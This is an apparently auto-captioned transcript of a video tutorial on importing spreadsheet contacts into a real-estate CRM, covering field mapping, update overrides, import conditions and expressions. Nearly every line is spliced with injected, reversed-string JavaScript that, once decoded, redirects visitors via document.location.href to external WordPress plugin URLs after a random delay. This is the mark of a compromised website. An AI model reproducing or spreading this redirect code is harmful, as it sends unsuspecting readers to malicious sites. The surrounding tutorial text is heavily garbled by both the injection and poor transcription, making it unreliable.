I certainly don’t want the spreadsheet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to over library already

27:19

done in my RE database so all general use one blank toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and let the spreadsheet

27:24

only populate the information

27:26

if I haven’t already updated myself

27:29

but now there are times though when you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use always

27:33

always been stirred override whatever’s in your are you daddys

27:37

with what’s in the spreadsheet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and definite example the time that you use

27:40

that is when you exploding out all your day

27:43

scrubbing the data in Excel toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and importing it back in our yet

27:46

at that point you can have some confidence in God that the data is good

27:50

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and cracked

27:51

so in this case you’re gonna go ahead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you went blank

27:54

but that brings us toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to finally this update column that should

27:57

pretty much talked about most things September ish so

28:00

this lets you do on the field by field basis

28:04

have it a big just that one specific field

28:07

so all these by default say default meaning

28:11

use whatever’s here under update existing records

28:14

but for any given feel you can override that setting so let’s say only wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

28:18

update the information

28:20

if it’s play except for the email address

28:23

I want the email addresses from the spreadsheet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to always update my are you

28:27

down its

28:27

so we can select that from the drop down there

28:32

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then finally condition we’re not gonna go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too far intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to but that

28:36

is basically in if then sort of thing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

28:39

that what you can kinda realize is

28:42

a like if the condition is true

28:46

import the record if it’s not skip that record

28:50

so example love it would be like %uh you don’t want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import any contacts that

28:55

don’t have been

28:55

email address well you could put the field name here

29:01

owner email

29:05

less than or greater than all so it does this is gonna get intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a little bit of

29:09

coding there’s no avoiding that

29:11

with this but for the most part anything beyond me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use is going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a

29:15

phone toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a few different categories toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and most the time it should be something we

29:19

can answer

29:20

tech support pretty quickly but with this is saying is that only import

29:23

contacts

29:25

that have anything in the email address field

29:28

a this less than her equal or less than greater

29:31

then basically means not such is the way of saying

29:35

not in an old meaning a empty or

29:38

what %um is exactly what not me its or

29:42

valueless I guess would actually be a a a good a

29:45

work for so basically anytime that the

29:49

only import contacts where their is a value

29:53

in that field so this is probably the most commonly used kinda condition

29:58

is fieldname is less than or greater than meaning

30:02

at which you can translate your head toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you is not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then not all

30:06

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then you can also use that as a specific values like I didn’t why I want

30:10

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import any contact with her or owner email is

30:13

not noriega

30:16

be bob is a Korean dot com saying it a little bit fancy with that

30:20

at times toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too I was gonna go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remove that will talk about expressions here in

30:24

just a second i’ll

30:25

so now we’re gonna go just match the tenant

30:29

information as well so going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and pretty much exactly like we just did a

30:34

the owner we’re just gonna do company first toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then

30:37

address 1:

30:40

its toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you

30:43

said he state toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

30:47

you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and for consistency sake

30:51

me the company name zip code address go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Contact

30:54

at the full name

30:58

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and email okay so

31:01

we’ve got our spreadsheet all mapped every single one of our field names

31:05

is map few at least one field in are you a

31:09

so were ready on that so far but one thing I wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to talk about was

31:14

expressions so that

31:18

might be wondering why the column where you match up the field is called

31:21

expression

31:22

well expression is a way of saying out like

31:25

Chynoweth etc

31:29

expression in the database like are switches Microsoft SQL

31:32

in SQL expression is basically a piece have cold or script that does something

31:38

so in this case the expression is just saying use the Excel field

31:41

10 company or just use Excel field 10 email

31:45

but if you ever click in one of these fields where the expression is lost

31:48

notice a browse buttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton there

31:50

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and if you click that that’s gonna bring up what’s called the expression editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor

31:54

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the expression editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor lets you do more btoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ands things than just

31:58

import a specific column intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a specific field in Aria a

32:02

so like for example you can use an expression toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you

32:05

have it marked rule for any tenants that are imported

32:09

in attendance checkbox that’s actually exactly one thing gonna do

32:13

so East the fields on contact that bed determine whether contacts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor

32:18

tenant agent bender personal contact or prospects are simply called by their

32:23

that name so bit field names are investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor

32:27

tenant agent bender personal prospect

32:30

in those are just check box fields that tell you whether contact is a tenant

32:34

whether the contact is an investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor in Seoul

32:43

now are spread she doesn’t have anything toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell

32:46

REA toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mark Tennant for each other’s contacts

32:50

but what I can do is I can actually use an expression

32:54

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you mark tenant as true for each those contacts

32:58

so in that case if you ever wanna market checkbox you look for the specific value

33:02

intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a field in re: a

33:05

you can go intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the expression editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and within the main box you’re the white

33:08

box with her sis flashing

33:11

you can just within quotation marks type the word true

33:14

eighty it s still see the it’ll actually recognize the value is true

33:18

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and without do is for intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to these contacts the its imported it will mark

33:22

the tenant checkbox

33:24

so all over tenants will be important are you a as tenets

33:27

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we can go over here go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the owner contact at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and do the same thing for

33:31

investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor for those contacts

33:34

investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor go here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you can actually take your expression right here without

33:38

clicking on the expression editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor

33:39

see this guy right there impact ensure now

33:43

in addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you that you can also like import multiple fields intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one

33:47

feel or multiple Excel spreadsheet columns in the one field in Aria

33:51

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and that be done using the expression as well this is going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be the main

33:55

expression in a talk about

33:57

up talk about all that what you can toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and can’t or what mean that you can do.

34:01

so let’s say we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take three fields toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and put it intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our notes

34:05

in re: in our property

34:09

so we go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the property tax here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and slept the field notes

34:12

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and let’s say I wanna put the

34:17

in the notes I wanna put the owners email address

34:20

the lease expiration date toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the square footage

34:23

I have no idea why want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do that I just one because I can

34:27

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and sometimes I just feel so great toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do something just because you care

34:30

so we’re gonna click on the expression editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor there toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and on the west side

34:34

you’ll see a few options now feel toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be put on the plus this is going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a

34:38

